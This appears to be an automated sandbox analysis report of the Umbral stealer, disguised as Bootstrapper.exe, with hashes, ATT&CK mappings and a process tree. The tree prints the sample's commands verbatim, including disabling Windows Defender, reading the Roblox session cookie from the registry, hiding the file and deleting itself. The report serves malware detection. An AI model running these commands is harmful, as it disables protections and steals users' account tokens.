umbral | ca96eb38942e5c7f637142d52b2e8bcac496a4520b73dab10ae1ad313d79cbd3

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
25-07-2024 22:32

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General

Target

Bootstrapper.exe
Size

231KB
MD5

76da32bccf3ded8acf92d025e19324e0
SHA1

3a9d9c6c68ec7ebfdc015b276bbc4d4e59f50a69
SHA256

1974381d4a09db47060411d723079fffc960ab922b54b20323d80a1dfeefe60b
SHA512

4f93c06348defd7f11c1db76ae0353ce73a0c743809f9efb675ca2caa0285ccbe21aedbe119f0f508ea8bcd8a62c5ad9f21536f6349c504f39d9648928c27bf9
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4DakxPlO2Zsc1niinRVb8e1mhi:DoZtL+EP8DakxPlO2Zsc1niin7T

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/996-0-0x000001F3ABCE0000-0x000001F3ABD20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2780	powershell.exe
2252	powershell.exe
2804	powershell.exe
184	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Bootstrapper.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
31	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3972	cmd.exe
1980	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5100	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1980	PING.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
996	Bootstrapper.exe
184	powershell.exe
184	powershell.exe
2780	powershell.exe
2780	powershell.exe
2252	powershell.exe
2252	powershell.exe
4752	powershell.exe
4752	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	996	Bootstrapper.exe
Token: SeIncreaseQuotaPrivilege	3048	wmic.exe
Token: SeSecurityPrivilege	3048	wmic.exe
Token: SeTakeOwnershipPrivilege	3048	wmic.exe
Token: SeLoadDriverPrivilege	3048	wmic.exe
Token: SeSystemProfilePrivilege	3048	wmic.exe
Token: SeSystemtimePrivilege	3048	wmic.exe
Token: SeProfSingleProcessPrivilege	3048	wmic.exe
Token: SeIncBasePriorityPrivilege	3048	wmic.exe
Token: SeCreatePagefilePrivilege	3048	wmic.exe
Token: SeBackupPrivilege	3048	wmic.exe
Token: SeRestorePrivilege	3048	wmic.exe
Token: SeShutdownPrivilege	3048	wmic.exe
Token: SeDebugPrivilege	3048	wmic.exe
Token: SeSystemEnvironmentPrivilege	3048	wmic.exe
Token: SeRemoteShutdownPrivilege	3048	wmic.exe
Token: SeUndockPrivilege	3048	wmic.exe
Token: SeManageVolumePrivilege	3048	wmic.exe
Token: 33	3048	wmic.exe
Token: 34	3048	wmic.exe
Token: 35	3048	wmic.exe
Token: 36	3048	wmic.exe
Token: SeIncreaseQuotaPrivilege	3048	wmic.exe
Token: SeSecurityPrivilege	3048	wmic.exe
Token: SeTakeOwnershipPrivilege	3048	wmic.exe
Token: SeLoadDriverPrivilege	3048	wmic.exe
Token: SeSystemProfilePrivilege	3048	wmic.exe
Token: SeSystemtimePrivilege	3048	wmic.exe
Token: SeProfSingleProcessPrivilege	3048	wmic.exe
Token: SeIncBasePriorityPrivilege	3048	wmic.exe
Token: SeCreatePagefilePrivilege	3048	wmic.exe
Token: SeBackupPrivilege	3048	wmic.exe
Token: SeRestorePrivilege	3048	wmic.exe
Token: SeShutdownPrivilege	3048	wmic.exe
Token: SeDebugPrivilege	3048	wmic.exe
Token: SeSystemEnvironmentPrivilege	3048	wmic.exe
Token: SeRemoteShutdownPrivilege	3048	wmic.exe
Token: SeUndockPrivilege	3048	wmic.exe
Token: SeManageVolumePrivilege	3048	wmic.exe
Token: 33	3048	wmic.exe
Token: 34	3048	wmic.exe
Token: 35	3048	wmic.exe
Token: 36	3048	wmic.exe
Token: SeDebugPrivilege	184	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeIncreaseQuotaPrivilege	652	wmic.exe
Token: SeSecurityPrivilege	652	wmic.exe
Token: SeTakeOwnershipPrivilege	652	wmic.exe
Token: SeLoadDriverPrivilege	652	wmic.exe
Token: SeSystemProfilePrivilege	652	wmic.exe
Token: SeSystemtimePrivilege	652	wmic.exe
Token: SeProfSingleProcessPrivilege	652	wmic.exe
Token: SeIncBasePriorityPrivilege	652	wmic.exe
Token: SeCreatePagefilePrivilege	652	wmic.exe
Token: SeBackupPrivilege	652	wmic.exe
Token: SeRestorePrivilege	652	wmic.exe
Token: SeShutdownPrivilege	652	wmic.exe
Token: SeDebugPrivilege	652	wmic.exe
Token: SeSystemEnvironmentPrivilege	652	wmic.exe
Token: SeRemoteShutdownPrivilege	652	wmic.exe
Token: SeUndockPrivilege	652	wmic.exe
Token: SeManageVolumePrivilege	652	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 3048	996	Bootstrapper.exe	84
PID 996 wrote to memory of 3048	996	Bootstrapper.exe	84
PID 996 wrote to memory of 4720	996	Bootstrapper.exe	89
PID 996 wrote to memory of 4720	996	Bootstrapper.exe	89
PID 996 wrote to memory of 184	996	Bootstrapper.exe	91
PID 996 wrote to memory of 184	996	Bootstrapper.exe	91
PID 996 wrote to memory of 2780	996	Bootstrapper.exe	95
PID 996 wrote to memory of 2780	996	Bootstrapper.exe	95
PID 996 wrote to memory of 2252	996	Bootstrapper.exe	97
PID 996 wrote to memory of 2252	996	Bootstrapper.exe	97
PID 996 wrote to memory of 4752	996	Bootstrapper.exe	99
PID 996 wrote to memory of 4752	996	Bootstrapper.exe	99
PID 996 wrote to memory of 652	996	Bootstrapper.exe	106
PID 996 wrote to memory of 652	996	Bootstrapper.exe	106
PID 996 wrote to memory of 208	996	Bootstrapper.exe	108
PID 996 wrote to memory of 208	996	Bootstrapper.exe	108
PID 996 wrote to memory of 2992	996	Bootstrapper.exe	110
PID 996 wrote to memory of 2992	996	Bootstrapper.exe	110
PID 996 wrote to memory of 2804	996	Bootstrapper.exe	112
PID 996 wrote to memory of 2804	996	Bootstrapper.exe	112
PID 996 wrote to memory of 5100	996	Bootstrapper.exe	114
PID 996 wrote to memory of 5100	996	Bootstrapper.exe	114
PID 996 wrote to memory of 3972	996	Bootstrapper.exe	117
PID 996 wrote to memory of 3972	996	Bootstrapper.exe	117
PID 3972 wrote to memory of 1980	3972	cmd.exe	119
PID 3972 wrote to memory of 1980	3972	cmd.exe	119

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
"C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3048
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
  2⤵
  - Views/modifies file attributes
  PID:4720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4752
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:652
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:208
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2804
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1980

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
2af06a6b36db9473e4a7d9c7ab72b70b

SHA1
8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

SHA256
18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

SHA512
3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7511c81925750deb7ad1b9b80eea8a8d

SHA1
6ea759b3cbd243ae11435c6d6c5ced185eb01f49

SHA256
5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

SHA512
5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rl5mayzp.5y2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/184-13-0x0000023D9FB30000-0x0000023D9FB52000-memory.dmp

Filesize
136KB

Download
memory/184-14-0x00007FF9455C0000-0x00007FF946081000-memory.dmp

Filesize
10.8MB

Download
memory/184-15-0x00007FF9455C0000-0x00007FF946081000-memory.dmp

Filesize
10.8MB

Download
memory/184-18-0x00007FF9455C0000-0x00007FF946081000-memory.dmp

Filesize
10.8MB

Download
memory/184-3-0x00007FF9455C0000-0x00007FF946081000-memory.dmp

Filesize
10.8MB

Download
memory/996-34-0x000001F3ADAE0000-0x000001F3ADB30000-memory.dmp

Filesize
320KB

Download
memory/996-33-0x000001F3C64E0000-0x000001F3C6556000-memory.dmp

Filesize
472KB

Download
memory/996-35-0x000001F3ADAB0000-0x000001F3ADACE000-memory.dmp

Filesize
120KB

Download
memory/996-0-0x000001F3ABCE0000-0x000001F3ABD20000-memory.dmp

Filesize
256KB

Download
memory/996-1-0x00007FF9455C3000-0x00007FF9455C5000-memory.dmp

Filesize
8KB

Download
memory/996-71-0x000001F3ADA90000-0x000001F3ADA9A000-memory.dmp

Filesize
40KB

Download
memory/996-72-0x000001F3C6360000-0x000001F3C6372000-memory.dmp

Filesize
72KB

Download
memory/996-2-0x00007FF9455C0000-0x00007FF946081000-memory.dmp

Filesize
10.8MB

Download
memory/996-90-0x00007FF9455C0000-0x00007FF946081000-memory.dmp

Filesize
10.8MB

Download